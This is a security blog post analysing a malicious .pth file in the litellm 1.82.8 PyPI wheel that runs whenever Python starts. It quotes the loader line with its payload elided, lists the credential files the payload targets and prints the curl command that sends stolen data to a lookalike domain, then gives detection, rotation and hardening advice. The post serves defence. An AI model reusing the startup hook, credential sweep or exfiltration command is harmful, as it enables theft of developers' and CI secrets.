// blog/python-pth-file-attacks-and-the-litellm-compromise
Python .pth File Attacks and the litellm Compromise


On March 24, 2026, a user reported that the litellm==1.82.8 wheel published to PyPI shipped a malicious file named litellm_init.pth (34,628 bytes) that ran a credential-stealing script every time the Python interpreter started on any machine where the package was installed. The report is issue #24512 on the BerriAI/litellm repository, and it describes a supply chain compromise where the payload fired without anyone writing import litellm. Having the package present in site-packages was enough.
Python .pth files can execute code from an unimported dependency.
What happened in litellm 1.82.8
litellm is a widely used library that gives a single OpenAI-style interface across many model providers, so it sits inside a huge number of AI backends, CI jobs, and containers. The compromised release put a file called litellm_init.pth into the wheel. That file is listed in the package's own RECORD manifest, which is how the reporter confirmed it belonged to the distribution rather than to something already on the box:
litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628
The contents of the .pth file were a single line of Python:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])
That one line spawns a fresh Python process and hands it a double base64-encoded blob to decode and execute. The double encoding keeps suspicious strings out of a naive source grep, because the payload only exists after two rounds of decoding at runtime. The confirmed bad artifact is litellm-1.82.8-py3-none-any.whl; the reporter noted that other releases had not yet been checked, so the blast radius may extend beyond one version.
How .pth files execute code on Python startup
A .pth file is a "path configuration" file. When the interpreter starts, the site module scans the site-packages directory and processes every .pth file it finds. The normal purpose is to add extra directories to sys.path, one directory per line. This is how editable installs and some namespace packages wire themselves in.
Any line in a .pth file that begins with import is executed as Python code rather than treated as a path. This documented behavior of the site module lets packages run small bits of initialization at startup. The litellm payload abused that behavior: its line begins with import, so site ran it during interpreter bootstrap.
The payload runs on every interpreter start:
- It runs on every interpreter start, including
python -c,pytest, a language server, a linter, or any subprocess your tooling spawns. - It runs with no import of the package. Auditing your own source for
import litellmdoes not tell you whether the code fired. - It runs before your program's first line, so application-level allowlists, import hooks, or sandboxes set up inside your
main()are already too late.
The reporter published a safe reproduction that downloads the wheel and reads the .pth out of the zip archive rather than installing it:
pip download litellm==1.82.8 --no-deps -d /tmp/check
python3 -c "
import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
pth = [n for n in z.namelist() if n.endswith('.pth')]
print('PTH files:', pth)
for p in pth:
print(z.read(p)[:300])
"
pip download fetches the wheel without running installation hooks, and reading it as a zip never puts the .pth into a live site-packages, so it never gets processed by site. Inspect the file without installing it.
What the payload steals and how it exfiltrates
Once decoded, the script runs two stages. Stage one is a broad sweep of everything credential-shaped on the host. It shells out to hostname, whoami, uname -a, ip addr, and ip route for system context, then runs printenv to capture every environment variable, which on most CI and container setups means API keys, tokens, and secrets in bulk. From there it walks a long list of well-known credential locations:
| Category | Examples targeted |
|---|---|
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa, authorized_keys, known_hosts, config |
| Cloud | ~/.aws/credentials plus IMDS token and security credentials, ~/.config/gcloud/application_default_credentials.json, ~/.azure/ |
| Kubernetes | ~/.kube/config, /etc/kubernetes/*.conf, service account tokens |
| Containers | ~/.docker/config.json, /kaniko/.docker/config.json, /root/.docker/config.json |
| Git & packages | ~/.gitconfig, ~/.git-credentials, ~/.npmrc, ~/.netrc, ~/.vault-token |
| Databases | ~/.pgpass, ~/.my.cnf, ~/.mongorc.js, plus PostgreSQL/MySQL/Redis/LDAP config files |
| Shell history | ~/.bash_history, ~/.zsh_history, ~/.mysql_history, ~/.psql_history |
| CI/CD | terraform.tfvars, .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml, ansible.cfg |
| Keys | /etc/ssl/private/, Let's Encrypt .pem and .key files |
| Crypto wallets | ~/.ethereum/keystore/, ~/.bitcoin/, ~/.config/solana/, and several others |
It greps environment and config files for Slack and Discord webhook URLs. On a cloud VM, reaching the instance metadata service and pulling security credentials can hand the attacker short-lived role credentials for the cloud account along with whatever files sit on disk.
The script generates a random 32-byte AES-256 session key with openssl rand, encrypts the collected data using openssl enc -aes-256-cbc -pbkdf2, then encrypts that session key with a hardcoded 4096-bit RSA public key via openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep. Both encrypted pieces get packed into tpcp.tar.gz and pushed out with a single curl:
curl -s -o /dev/null -X POST \
"https://models.litellm.cloud/" \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @tpcp.tar.gz
The envelope encryption, with a random symmetric key wrapped in the attacker's RSA public key, prevents anyone sniffing the traffic or operating an intermediate proxy from reading the stolen data without the attacker's private key. The exfiltration host is models.litellm.cloud. The official project domain is litellm.ai; litellm.cloud is a lookalike chosen so the destination reads as legitimate in a firewall log or an egress allowlist written from memory.
How to check whether you were hit and what to rotate
Search your site-packages directories for the file:
find / -name "litellm_init.pth" 2>/dev/null
Its presence, or any .pth file whose contents begin with an import line spawning a subprocess, signals compromise. Because the code runs at interpreter start, treat every host where litellm==1.82.8 was ever installed as compromised. That list, per the report, includes local development machines, CI/CD pipelines, Docker containers, and production servers.
The report recommends rotating every credential that was present in environment variables or config files on any affected host. That means cloud access keys and any role credentials reachable through IMDS, SSH keys, git and package registry tokens, Kubernetes service account tokens, database passwords, and any webhook URLs that carry implicit trust. Yanking the bad version from PyPI stops new installs but does nothing for machines that already ran it, and rotating less than the full set leaves skipped secrets in the attacker's hands. The report also calls on BerriAI to audit its PyPI publishing credentials and CI/CD pipeline, since a poisoned wheel reaching the index points to a compromise of the publishing path rather than of the source repository alone.
How .pth files evade supply chain defenses
Most supply chain defenses miss an attack like this. Source review of your own imports misses it because nothing imports the package, setup.py scanning misses it because wheels do not run setup.py and the code lives in a path configuration file instead of an install hook, and runtime import monitoring misses it because site runs the .pth before your instrumentation loads.
Pin dependencies to exact versions with hashes so an unexpected wheel cannot slip in, and prefer hash-checking mode in pip so the bytes you audited are the bytes you install. Build and install in ephemeral, network-restricted environments where an outbound POST to an unknown host fails, which would have blocked the exfiltration curl. Add .pth files to artifact scanning, treating any that start with import as a finding. Write egress allowlists against exact domains, because litellm.cloud was built to exploit a rule that trusts "litellm" by eye.